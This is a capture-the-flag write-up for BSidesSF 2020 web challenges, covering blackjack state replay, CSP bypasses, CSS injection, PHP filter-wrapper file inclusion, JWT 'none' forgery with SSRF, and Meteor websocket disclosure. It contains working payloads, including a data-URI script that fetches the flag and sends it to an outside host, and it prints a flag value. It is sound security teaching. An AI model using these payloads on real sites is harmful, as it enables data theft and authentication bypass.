BSidesSF 2020 CTF
[376pts] cards
San Francisco has the occasional underground card room. Can you run the table in this game?
In the challenge site, you can play Blackjack.
1 | // https://cards-d38741c8.challenges.bsidessf.net/api/config |
Users are given $1000
initial balance. and from /api/config
, you can get the flag when achieve $100000
.
1 | // https://cards-d38741c8.challenges.bsidessf.net/api |
In /api
, the SecretState
property has a hex byte in the form of json, which contains the value of the user’s balance with encryption.
1 | // https://cards-d38741c8.challenges.bsidessf.net/api/deal |
If you send a request to /api/deal
with the initial SecretState
value, the cards of the player and dealer have randomly chosen. Sometimes the player’s card make BlackJack, and in that case, the game is over and the Balance goes up instantly.
1 | // Win or Lose? |
The point is that if you lose or lose, the SecretState doesn’t destroy the value, so if you keep making deals until the Black Jack comes out, it’s possible to increase Balance continuously.
1 | import requests |
This script implements the description.
[51pts] csp-1
Can you bypass the CSP to steal the flag?
1 | Content-Security-Policy: script-src 'self' data:; default-src 'self'; connect-src *; report-uri /csp_report |
Basic CSP bypass challenge. There is no filtering policy in script insertion, and Incredibly, the script-src
policy authorizes data schema, making CSP meaningless.
1 | <script src="data:,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://rwx.kr/?'+escape(x))"> |
[51pts] csp-2
Can you bypass the CSP to steal the flag?
1 | Content-Security-Policy: script-src 'self' ajax.googleapis.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report |
It’s similar to previous one. script-src
allows embeding ajax.googleapis.com
. The ajax.googleapis.com
contains an Angularjs
script, so you can bypass the CSP
using the Angularjs Template
.
1 | <script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js></script> |
[87pts] fun with flags
The admin, Sheldon has the challenge flag, can you steal it?
1 | <input type="hidden" name="flag" value=Try reading this value> |
CSS Injection challenge has message sending function to admin.
all of other tags are filtered, but because of <style>
tags are allowed, you can use the payload generator below to get the value of the input tag with the name property flag.
1 |
|
1 | CTF{let_the_shellz_rise_b4_baking} |
It is convenient to write an attack in Python script. But I sent them one by one because it was hassle.
[51pts] had a bad day
Can you read flag.php?
There’s two buttons. If click on them, forwarded to /index.php?category=woofers
and /index.php?category=woofers
each. Since woofer.php
shows the same of index.php?category=/woofers.php
, we can expect scripts like include($_GET['category'] + '.php')
to be within index.php
.
1 | // from index.php?category=php://filter/convert.base64-encode/resource=index |
You can get the source of index.php
using php wrapper.
If the index
string is included in the parameter, filtering is likely to be bypassed.
1 | // index.php?category=php://filter/convert.base64-encode/resource=index/../flag |
[157pts] recipes
I’ve found this recipe storage service. Rumor has it that the famous San Francisco-based Boudin Bakery is working on a new recipe. Can you get that for me?
The points of this problem are JWT authentication bypass
and SSRF
.
1 | <li class="nav-item"> |
Not visible on rendered screen, but you can find /users
route from html source.
If you try to connect, you’ll be given a hint that you can only connect to the local host.
1 | <h3>users</h3> |
In recipe creation feature, If you submit with a local host address to Picture URL
, you can get the contents of the base64 encoded /users
page on the entry of the image address.
1 | <li><a href='/profile/6180f0c8-778b-442f-a5ab-10e18bef4c2d'>boudin_bakery</a></li> |
If you decode the contents, you can find the uuid of the boudin_bakery
account.
1 | // jwt |
The JWT stores in cookies contains user’s uuid value.
You can change the sub value to a uuid of boudin_bakery
account’s using jwt none type input
.
1 | // plain |
If you complete jwt in the above way and try connecting, you can see the flag in the Flag Bread
item.
[51pts] simple todos
For my new job as a San Franisco tour guide, I totally realized that I can use the Meteor simple-todos tutorial! It was really easy, the app works perfectly by step 9 of the tutorial, you don’t even need to write your own ‘publish and subscribe’ code! It’s all done for you!
This is the challenge about Information Disclosure using WebSocket. The private message does not appear on the screen, but it sends it to the client without any special permission settings. This allows you to view a private message simply by checking the web socket communications history.